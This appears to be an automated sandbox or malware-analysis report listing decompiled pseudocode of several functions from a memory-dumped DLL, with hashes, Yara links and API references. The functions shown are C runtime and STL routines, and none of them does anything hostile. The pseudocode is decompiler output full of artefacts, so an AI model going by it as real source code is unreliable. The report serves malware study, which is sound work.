Opcode ID: caeb615ec13d131582f8dc44c39d3e069706ae949d7c43cb278d9c1a391abf07
Instruction ID: f3da30d2815c64e6e90f0e1a2fae0fbd60b7de0eda7479222737e0925280549c
Opcode Fuzzy Hash: caeb615ec13d131582f8dc44c39d3e069706ae949d7c43cb278d9c1a391abf07
Instruction Fuzzy Hash: 2011897554810CBFCF01EF58C841EDE3BB5EF04254B5251A5BA088F262EB75EA709BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E984, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 274
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD5E984(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t151;
				void* _t158;
				signed int _t159;
				signed int _t160;
				intOrPtr _t161;
				signed int _t164;
				signed int _t168;
				signed int _t169;
				intOrPtr* _t171;
				intOrPtr _t172;
				signed int _t175;
				signed int _t176;
				signed int _t178;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t207;
				signed int _t210;
				signed int _t216;
				intOrPtr* _t217;
				signed int _t230;
				signed int _t233;
				intOrPtr* _t234;
				signed int _t236;
				signed int* _t240;
				intOrPtr _t249;
				signed int _t254;
				signed int _t256;
				void* _t257;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				short _t263;
				signed int _t265;
				signed int _t267;
				void* _t269;
				void* _t271;

				_t265 = _t267;
				_t151 =  *0x6ddd506c; // 0xfc455029
				_v8 = _t151 ^ _t265;
				_push(__ebx);
				_t210 = _a8;
				_push(__esi);
				_push(__edi);
				_t249 = _a4;
				_v744 = _t210;
				_v728 = E6DD5D5FF(_t210, __ecx, __edx) + 0x278;
				_t158 = E6DD5DE92(_t210, __edx, _t249, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v708);
				_t269 = _t267 - 0x2e4 + 0x18;
				if(_t158 != 0) {
					_t11 = _t210 + 2; // 0x6
					_t254 = _t11 << 4;
					__eflags = _t254;
					_t159 =  &_v272;
					_v716 = _t254;
					_t247 =  *(_t254 + _t249);
					_t216 =  *(_t254 + _t249);
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t159 -  *_t216;
						_t256 = _v716;
						if( *_t159 !=  *_t216) {
							break;
						}
						__eflags =  *_t159;
						if( *_t159 == 0) {
							L9:
							_t160 = _v704;
						} else {
							_t263 =  *((intOrPtr*)(_t159 + 2));
							__eflags = _t263 -  *((intOrPtr*)(_t216 + 2));
							_v710 = _t263;
							_t256 = _v716;
							if(_t263 !=  *((intOrPtr*)(_t216 + 2))) {
								break;
							} else {
								_t159 = _t159 + 4;
								_t216 = _t216 + 4;
								__eflags = _v710;
								if(_v710 != 0) {
									continue;
								} else {
									goto L9;
								}
							}
						}
						L11:
						__eflags = _t160;
						if(_t160 != 0) {
							_t217 =  &_v272;
							_t247 = _t217 + 2;
							do {
								_t161 =  *_t217;
								_t217 = _t217 + 2;
								__eflags = _t161 - _v704;
							} while (_t161 != _v704);
							_v720 = (_t217 - _t247 >> 1) + 1;
							_t164 = E6DD5F26D(_t217 - _t247 >> 1, 4 + ((_t217 - _t247 >> 1) + 1) * 2);
							_v732 = _t164;
							__eflags = _t164;
							if(_t164 == 0) {
								goto L2;
							} else {
								_v724 =  *((intOrPtr*)(_t256 + _t249));
								_t35 = _t210 * 4; // 0xe764e850
								_v736 =  *((intOrPtr*)(_t249 + _t35 + 0xa0));
								_t38 = _t249 + 8; // 0x8b018b
								_v740 =  *_t38;
								_t226 =  &_v272;
								_v712 = _t164 + 4;
								_t168 = E6DD591A7(_t164 + 4, _v720,  &_v272);
								_t271 = _t269 + 0xc;
								__eflags = _t168;
								if(_t168 != 0) {
									_t169 = _v704;
									_push(_t169);
									_push(_t169);
									_push(_t169);
									_push(_t169);
									_push(_t169);
									E6DD52188();
									asm("int3");
									_t171 =  *0x6ddd76f0; // 0x626540
									 *0x6ddd5108 =  *((intOrPtr*)(_t171 + 0x88));
									 *0x6ddd51c0 =  *_t171;
									_t172 =  *((intOrPtr*)(_t171 + 4));
									 *0x6ddd51ec = _t172;
									return _t172;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t256 + _t249)) = _v712;
									if(_v272 != 0x43) {
										L20:
										_t175 = E6DD5DB3B(_t210, _t226, _t249,  &_v700);
										_t230 = _v704;
										 *(_t249 + 0xa0 + _t210 * 4) = _t175;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L20;
										} else {
											_t230 = _v704;
											 *(_t249 + 0xa0 + _t210 * 4) = _t230;
										}
									}
									__eflags = _t210 - 2;
									if(_t210 != 2) {
										__eflags = _t210 - 1;
										if(_t210 != 1) {
											__eflags = _t210 - 5;
											if(_t210 == 5) {
												 *((intOrPtr*)(_t249 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t249 + 0x10)) = _v708;
										}
									} else {
										_t261 = _v728;
										_t247 = _t230;
										_t240 = _t261;
										 *(_t249 + 8) = _v708;
										_v712 = _t261;
										_v720 = _t261[8];
										_v708 = _t261[9];
										while(1) {
											_t64 = _t249 + 8; // 0x8b018b
											__eflags =  *_t64 -  *_t240;
											if( *_t64 ==  *_t240) {
												break;
											}
											_t262 = _v712;
											_t247 = _t247 + 1;
											_t207 =  *_t240;
											 *_t262 = _v720;
											_v708 = _t240[1];
											_t240 = _t262 + 8;
											 *((intOrPtr*)(_t262 + 4)) = _v708;
											_t210 = _v744;
											_t261 = _v728;
											_v720 = _t207;
											_v712 = _t240;
											__eflags = _t247 - 5;
											if(_t247 < 5) {
												continue;
											} else {
											}
											L28:
											__eflags = _t247 - 5;
											if(__eflags == 0) {
												_t88 = _t249 + 8; // 0x8b018b
												_t198 = E6DD66102(_t210, _t247, _t249, __eflags, _v704, 1, 0x6dd80ea8, 0x7f,  &_v528,  *_t88, 1);
												_t271 = _t271 + 0x1c;
												__eflags = _t198;
												_t199 = _v704;
												if(_t198 == 0) {
													_t261[1] = _t199;
												} else {
													do {
														 *(_t265 + _t199 * 2 - 0x20c) =  *(_t265 + _t199 * 2 - 0x20c) & 0x000001ff;
														_t199 = _t199 + 1;
														__eflags = _t199 - 0x7f;
													} while (_t199 < 0x7f);
													_t202 = E6DD31C3C( &_v528,  *0x6ddd51e8, 0xfe);
													_t271 = _t271 + 0xc;
													__eflags = _t202;
													_t261[1] = 0 | _t202 == 0x00000000;
												}
												_t103 = _t249 + 8; // 0x8b018b
												 *_t261 =  *_t103;
											}
											 *(_t249 + 0x18) = _t261[1];
											goto L39;
										}
										__eflags = _t247;
										if(_t247 != 0) {
											 *_t261 =  *(_t261 + _t247 * 8);
											_t261[1] =  *(_t261 + 4 + _t247 * 8);
											 *(_t261 + _t247 * 8) = _v720;
											 *(_t261 + 4 + _t247 * 8) = _v708;
										}
										goto L28;
									}
									L39:
									_t176 = _t210 * 0xc;
									_t110 = _t176 + 0x6dd80de8; // 0x6dd1815c
									 *0x6dd7a26c(_t249);
									_t178 =  *((intOrPtr*)( *_t110))();
									_t233 = _v724;
									__eflags = _t178;
									if(_t178 == 0) {
										__eflags = _t233 - 0x6ddd52b0;
										if(_t233 != 0x6ddd52b0) {
											_t260 = _t210 + _t210;
											__eflags = _t260;
											asm("lock xadd [eax], ecx");
											if(_t260 != 0) {
												goto L44;
											} else {
												_t128 = _t260 * 8; // 0x10468b00
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t128 + 0x28)));
												_t131 = _t260 * 8; // 0x3b8e8
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t131 + 0x24)));
												_t134 = _t210 * 4; // 0xe764e850
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t134 + 0xa0)));
												_t236 = _v704;
												 *((intOrPtr*)(_v716 + _t249)) = _t236;
												 *(_t249 + 0xa0 + _t210 * 4) = _t236;
											}
										}
										_t234 = _v732;
										 *_t234 = 1;
										 *((intOrPtr*)(_t249 + 0x28 + (_t210 + _t210) * 8)) = _t234;
									} else {
										 *(_v716 + _t249) = _t233;
										_t115 = _t210 * 4; // 0xe764e850
										E6DD5CBD3( *((intOrPtr*)(_t249 + _t115 + 0xa0)));
										 *(_t249 + 0xa0 + _t210 * 4) = _v736;
										E6DD5CBD3(_v732);
										 *(_t249 + 8) = _v740;
										goto L2;
									}
									goto L3;
								}
							}
						} else {
							goto L3;
						}
						goto L47;
					}
					asm("sbb eax, eax");
					_t160 = _t159 | 0x00000001;
					__eflags = _t160;
					goto L11;
				} else {
					L2:
					L3:
					_pop(_t257);
					return E6DD2F8A5(_v8 ^ _t265, _t247, _t257);
				}
				L47:
			}

0x6dd5e987
0x6dd5e98f
0x6dd5e996
0x6dd5e999
0x6dd5e99a
0x6dd5e99d
0x6dd5e9a1
0x6dd5e9a2
0x6dd5e9a5
0x6dd5e9b5
0x6dd5e9d8
0x6dd5e9dd
0x6dd5e9e2
0x6dd5e9f7
0x6dd5e9fa
0x6dd5e9fa
0x6dd5e9fd
0x6dd5ea03
0x6dd5ea09
0x6dd5ea0c
0x6dd5ea0e
0x6dd5ea11
0x6dd5ea18
0x6dd5ea1b
0x6dd5ea21
0x00000000
0x00000000
0x6dd5ea23
0x6dd5ea27
0x6dd5ea50
0x6dd5ea50
0x6dd5ea29
0x6dd5ea29
0x6dd5ea2d
0x6dd5ea31
0x6dd5ea38
0x6dd5ea3e
0x00000000
0x6dd5ea40
0x6dd5ea40
0x6dd5ea43
0x6dd5ea46
0x6dd5ea4e
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5ea4e
0x6dd5ea3e
0x6dd5ea5d
0x6dd5ea5d
0x6dd5ea5f
0x6dd5ea65
0x6dd5ea6b
0x6dd5ea6e
0x6dd5ea6e
0x6dd5ea71
0x6dd5ea74
0x6dd5ea74
0x6dd5ea84
0x6dd5ea92
0x6dd5ea97
0x6dd5ea9e
0x6dd5eaa0
0x00000000
0x6dd5eaa6
0x6dd5eaac
0x6dd5eab2
0x6dd5eab9
0x6dd5eabf
0x6dd5eac2
0x6dd5eac8
0x6dd5ead5
0x6dd5eadc
0x6dd5eae1
0x6dd5eae4
0x6dd5eae6
0x6dd5ed3f
0x6dd5ed45
0x6dd5ed46
0x6dd5ed47
0x6dd5ed48
0x6dd5ed49
0x6dd5ed4a
0x6dd5ed4f
0x6dd5ed50
0x6dd5ed5b
0x6dd5ed63
0x6dd5ed69
0x6dd5ed6c
0x6dd5ed71
0x6dd5eaec
0x6dd5eaec
0x6dd5eafa
0x6dd5eafd
0x6dd5eb18
0x6dd5eb1f
0x6dd5eb25
0x6dd5eb2b
0x6dd5eaff
0x6dd5eaff
0x6dd5eb07
0x00000000
0x6dd5eb09
0x6dd5eb09
0x6dd5eb0f
0x6dd5eb0f
0x6dd5eb07
0x6dd5eb32
0x6dd5eb35
0x6dd5ec52
0x6dd5ec55
0x6dd5ec62
0x6dd5ec65
0x6dd5ec6d
0x6dd5ec6d
0x6dd5ec57
0x6dd5ec5d
0x6dd5ec5d
0x6dd5eb3b
0x6dd5eb3b
0x6dd5eb41
0x6dd5eb49
0x6dd5eb4b
0x6dd5eb4e
0x6dd5eb57
0x6dd5eb60
0x6dd5eb66
0x6dd5eb66
0x6dd5eb69
0x6dd5eb6b
0x00000000
0x00000000
0x6dd5eb6d
0x6dd5eb73
0x6dd5eb74
0x6dd5eb7f
0x6dd5eb87
0x6dd5eb8f
0x6dd5eb92
0x6dd5eb95
0x6dd5eb9b
0x6dd5eba1
0x6dd5eba7
0x6dd5ebad
0x6dd5ebb0
0x00000000
0x00000000
0x6dd5ebb2
0x6dd5ebd7
0x6dd5ebd7
0x6dd5ebda
0x6dd5ebde
0x6dd5ebf7
0x6dd5ebfc
0x6dd5ebff
0x6dd5ec01
0x6dd5ec07
0x6dd5ec42
0x6dd5ec09
0x6dd5ec09
0x6dd5ec0e
0x6dd5ec16
0x6dd5ec17
0x6dd5ec17
0x6dd5ec2e
0x6dd5ec35
0x6dd5ec38
0x6dd5ec3d
0x6dd5ec3d
0x6dd5ec45
0x6dd5ec48
0x6dd5ec48
0x6dd5ec4d
0x00000000
0x6dd5ec4d
0x6dd5ebb4
0x6dd5ebb6
0x6dd5ebbb
0x6dd5ebc1
0x6dd5ebca
0x6dd5ebd3
0x6dd5ebd3
0x00000000
0x6dd5ebb6
0x6dd5ec70
0x6dd5ec70
0x6dd5ec74
0x6dd5ec7c
0x6dd5ec82
0x6dd5ec85
0x6dd5ec8b
0x6dd5ec8d
0x6dd5eccd
0x6dd5ecd3
0x6dd5ecda
0x6dd5ecda
0x6dd5ece0
0x6dd5ece4
0x00000000
0x6dd5ece6
0x6dd5ece6
0x6dd5ecea
0x6dd5ecef
0x6dd5ecf3
0x6dd5ecf8
0x6dd5ecff
0x6dd5ed0d
0x6dd5ed13
0x6dd5ed16
0x6dd5ed16
0x6dd5ece4
0x6dd5ed25
0x6dd5ed2d
0x6dd5ed36
0x6dd5ec8f
0x6dd5ec95
0x6dd5ec98
0x6dd5ec9f
0x6dd5ecb1
0x6dd5ecb8
0x6dd5ecc5
0x00000000
0x6dd5ecc5
0x00000000
0x6dd5ec8d
0x6dd5eae6
0x6dd5ea61
0x00000000
0x6dd5ea61
0x00000000
0x6dd5ea5f
0x6dd5ea58
0x6dd5ea5a
0x6dd5ea5a
0x00000000
0x6dd5e9e4
0x6dd5e9e4
0x6dd5e9e6
0x6dd5e9ea
0x6dd5e9f6
0x6dd5e9f6
0x00000000

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

_memcmp.LIBVCRUNTIME ref: 6DD5EC2E
_free.LIBCMT ref: 6DD5EC9F
_free.LIBCMT ref: 6DD5ECB8
_free.LIBCMT ref: 6DD5ECEA
_free.LIBCMT ref: 6DD5ECF3
_free.LIBCMT ref: 6DD5ECFF

Strings

@eb, xrefs: 6DD5ED50

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: @eb
API String ID: 1679612858-887999300
Opcode ID: ab35956215e3e391d50c04f45934d709657d79b2776c033e6d2d25370edcdff4
Instruction ID: 686ab76f73b66c131f6b2230657bcba24886c3bc53efb5bca0f59d9b9763a861
Opcode Fuzzy Hash: ab35956215e3e391d50c04f45934d709657d79b2776c033e6d2d25370edcdff4
Instruction Fuzzy Hash: E1C1097590521ADFDF24EF18C884AADB7B4FB49304F1085AAE549E7351E731AEA0CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14747, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD14747(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t18;
				intOrPtr* _t19;
				intOrPtr* _t39;
				intOrPtr* _t44;
				void* _t47;

				E6DD300AC(0x6dd7816f, __ebx, __edi, __esi, 0x18);
				E6DD16653(_t47 - 0x14, 0);
				 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
				_t44 =  *0x6ddece7c; // 0x611788
				 *((intOrPtr*)(_t47 - 0x10)) = _t44;
				_t18 = E6DCF161C(0x6ddece90);
				_t35 =  *((intOrPtr*)(_t47 + 8));
				_t19 = E6DCF171B( *((intOrPtr*)(_t47 + 8)), _t18);
				_t46 = _t19;
				if(_t19 != 0) {
					L5:
					E6DD166BA(_t47 - 0x14);
					return E6DD30075(_t46);
				} else {
					if(_t44 == 0) {
						_push( *((intOrPtr*)(_t47 + 8)));
						_push(_t47 - 0x10);
						__eflags = E6DD14F5F(__ebx, _t35, __edx, _t44, _t46) - 0xffffffff;
						if(__eflags == 0) {
							_t13 = _t47 - 0x20; // 0x40594d09
							_t39 = _t13;
							E6DCF1438(_t39);
							_t14 = _t47 - 0x20; // 0x40594d09
							E6DD33D74(_t14, 0x6ddd3504);
							asm("int3");
							 *_t39 = __edx;
							return _t39;
						} else {
							_t46 =  *((intOrPtr*)(_t47 - 0x10));
							 *((intOrPtr*)(_t47 - 0x10)) = _t46;
							 *(_t47 - 4) = 1;
							E6DD16FD3(__eflags, _t46);
							 *((intOrPtr*)( *_t46 + 4))();
							 *0x6ddece7c = _t46;
							goto L5;
						}
					} else {
						_t46 = _t44;
						goto L5;
					}
				}
			}

0x6dd1474e
0x6dd14758
0x6dd1475d
0x6dd14766
0x6dd1476c
0x6dd1476f
0x6dd14774
0x6dd14778
0x6dd1477d
0x6dd14781
0x6dd147bc
0x6dd147bf
0x6dd147cb
0x6dd14783
0x6dd14785
0x6dd1478b
0x6dd14791
0x6dd14799
0x6dd1479c
0x6dd147cc
0x6dd147cc
0x6dd147cf
0x6dd147d9
0x6dd147dd
0x6dd147e2
0x6dd147e3
0x6dd147e7
0x6dd1479e
0x6dd1479e
0x6dd147a1
0x6dd147a5
0x6dd147a9
0x6dd147b3
0x6dd147b6
0x00000000
0x6dd147b6
0x6dd14787
0x6dd14787
0x00000000
0x6dd14787
0x6dd14785

APIs

__EH_prolog3.LIBCMT ref: 6DD1474E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD14758
int.LIBCPMT ref: 6DD1476F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD147A9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD147BF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD147DD

Strings

MY@yPD, xrefs: 6DD147CC, 6DD147D9, 6DD147DC

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID: MY@yPD
API String ID: 651022567-882315695
Opcode ID: ed18dba0c39b496522d0874509124298e176503958513abc6b8478033fcc0ad0
Instruction ID: f0f55257490194bd56763df4e399f5ca545246ae202944f1c7c20a530453de9a
Opcode Fuzzy Hash: ed18dba0c39b496522d0874509124298e176503958513abc6b8478033fcc0ad0
Instruction Fuzzy Hash: 2D11067190C129CBCB00FBA8DC40AFD7B74EF49718F124548F514AB290EB709905CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD146AB, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD146AB(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr* _t33;
				void* _t45;
				intOrPtr* _t76;
				intOrPtr* _t83;
				intOrPtr* _t84;
				intOrPtr* _t87;
				void* _t88;

				_t62 = __ebx;
				E6DD300AC(0x6dd78144, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t88 - 0x14, 0);
				 *(_t88 - 4) =  *(_t88 - 4) & 0x00000000;
				_t83 =  *0x6ddece84; // 0x61f638
				 *((intOrPtr*)(_t88 - 0x10)) = _t83;
				_t32 = E6DCF161C(0x6ddecea8);
				_t65 =  *((intOrPtr*)(_t88 + 8));
				_t33 = E6DCF171B( *((intOrPtr*)(_t88 + 8)), _t32);
				_t86 = _t33;
				if(_t33 != 0) {
					L5:
					E6DD166BA(_t88 - 0x14);
					return E6DD30075(_t86);
				} else {
					if(_t83 == 0) {
						_push( *((intOrPtr*)(_t88 + 8)));
						_push(_t88 - 0x10);
						__eflags = E6DD14FCE(__ebx, _t65, __edx, _t83, _t86) - 0xffffffff;
						if(__eflags == 0) {
							_t13 = _t88 - 0x20; // 0x40594d09
							E6DCF1438(_t13);
							_t14 = _t88 - 0x20; // 0x40594d09
							E6DD33D74(_t14, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd7816f, __ebx, _t83, _t86, 0x18);
							E6DD16653(_t88 - 0x14, 0);
							 *(_t88 - 4) =  *(_t88 - 4) & 0x00000000;
							_t84 =  *0x6ddece7c; // 0x611788
							 *((intOrPtr*)(_t88 - 0x10)) = _t84;
							_t45 = E6DCF161C(0x6ddece90);
							_t72 =  *((intOrPtr*)(_t88 + 8));
							_t87 = E6DCF171B( *((intOrPtr*)(_t88 + 8)), _t45);
							__eflags = _t87;
							if(_t87 != 0) {
								L12:
								E6DD166BA(_t88 - 0x14);
								return E6DD30075(_t87);
							} else {
								__eflags = _t84;
								if(_t84 == 0) {
									_push( *((intOrPtr*)(_t88 + 8)));
									_push(_t88 - 0x10);
									__eflags = E6DD14F5F(_t62, _t72, __edx, _t84, _t87) - 0xffffffff;
									if(__eflags == 0) {
										_t27 = _t88 - 0x20; // 0x40594d09
										_t76 = _t27;
										E6DCF1438(_t76);
										_t28 = _t88 - 0x20; // 0x40594d09
										E6DD33D74(_t28, 0x6ddd3504);
										asm("int3");
										 *_t76 = __edx;
										return _t76;
									} else {
										_t87 =  *((intOrPtr*)(_t88 - 0x10));
										 *((intOrPtr*)(_t88 - 0x10)) = _t87;
										 *(_t88 - 4) = 1;
										E6DD16FD3(__eflags, _t87);
										 *((intOrPtr*)( *_t87 + 4))();
										 *0x6ddece7c = _t87;
										goto L12;
									}
								} else {
									_t87 = _t84;
									goto L12;
								}
							}
						} else {
							_t86 =  *((intOrPtr*)(_t88 - 0x10));
							 *((intOrPtr*)(_t88 - 0x10)) = _t86;
							 *(_t88 - 4) = 1;
							E6DD16FD3(__eflags, _t86);
							 *((intOrPtr*)( *_t86 + 4))();
							 *0x6ddece84 = _t86;
							goto L5;
						}
					} else {
						_t86 = _t83;
						goto L5;
					}
				}
			}

0x6dd146ab
0x6dd146b2
0x6dd146bc
0x6dd146c1
0x6dd146ca
0x6dd146d0
0x6dd146d3
0x6dd146d8
0x6dd146dc
0x6dd146e1
0x6dd146e5
0x6dd14720
0x6dd14723
0x6dd1472f
0x6dd146e7
0x6dd146e9
0x6dd146ef
0x6dd146f5
0x6dd146fd
0x6dd14700
0x6dd14730
0x6dd14733
0x6dd1473d
0x6dd14741
0x6dd14746
0x6dd1474e
0x6dd14758
0x6dd1475d
0x6dd14766
0x6dd1476c
0x6dd1476f
0x6dd14774
0x6dd1477d
0x6dd1477f
0x6dd14781
0x6dd147bc
0x6dd147bf
0x6dd147cb
0x6dd14783
0x6dd14783
0x6dd14785
0x6dd1478b
0x6dd14791
0x6dd14799
0x6dd1479c
0x6dd147cc
0x6dd147cc
0x6dd147cf
0x6dd147d9
0x6dd147dd
0x6dd147e2
0x6dd147e3
0x6dd147e7
0x6dd1479e
0x6dd1479e
0x6dd147a1
0x6dd147a5
0x6dd147a9
0x6dd147b3
0x6dd147b6
0x00000000
0x6dd147b6
0x6dd14787
0x6dd14787
0x00000000
0x6dd14787
0x6dd14785
0x6dd14702
0x6dd14702
0x6dd14705
0x6dd14709
0x6dd1470d
0x6dd14717
0x6dd1471a
0x00000000
0x6dd1471a
0x6dd146eb
0x6dd146eb
0x00000000
0x6dd146eb
0x6dd146e9

APIs

__EH_prolog3.LIBCMT ref: 6DD146B2
std::_Lockit::_Lockit.LIBCPMT ref: 6DD146BC
int.LIBCPMT ref: 6DD146D3

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1470D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14723
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14741

Strings

MY@yPD, xrefs: 6DD14730, 6DD1473D, 6DD14740

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID: MY@yPD
API String ID: 651022567-882315695
Opcode ID: 370b77ad660733a2dad37e4041d29c49ea875aaa12a3b3dccf22b4c53163c81c
Instruction ID: c91c075fd9d3cb04287ce43bc8a08a1a67d648c8f90a50bc7d9167327edd34de
Opcode Fuzzy Hash: 370b77ad660733a2dad37e4041d29c49ea875aaa12a3b3dccf22b4c53163c81c
Instruction Fuzzy Hash: 4F11E5B280C129DBCB01FBA4DC50AED7B70EF45728F160108F610B7280EB709905C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D5FF, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6DD5D5FF(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x6ddd51e4; // 0x8
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E6DD5C7EF(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E6DD64196(_t25, __eflags,  *0x6ddd51e4, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E6DD5D33F(_t25, _t31, "@eb");
							E6DD5CBD3(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E6DD5CBD3();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E6DD562FA(_t20, _t25, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x6ddd51e4; // 0x8
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E6DD5C7EF(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E6DD64196(_t27, __eflags,  *0x6ddd51e4, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E6DD5D33F(_t27, _t32, "@eb");
									E6DD5CBD3(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E6DD5CBD3();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E6DD64140(_t25, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E6DD64140(_t23, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x6dd5d5ff
0x6dd5d5ff
0x6dd5d5ff
0x6dd5d609
0x6dd5d60b
0x6dd5d610
0x6dd5d613
0x6dd5d621
0x6dd5d628
0x6dd5d62d
0x6dd5d630
0x6dd5d633
0x6dd5d645
0x6dd5d64a
0x6dd5d64c
0x6dd5d657
0x6dd5d65e
0x6dd5d663
0x6dd5d666
0x6dd5d668
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5d64e
0x6dd5d64e
0x00000000
0x6dd5d64e
0x6dd5d635
0x6dd5d635
0x6dd5d636
0x6dd5d636
0x6dd5d63b
0x6dd5d676
0x6dd5d677
0x6dd5d67d
0x6dd5d682
0x6dd5d685
0x6dd5d686
0x6dd5d687
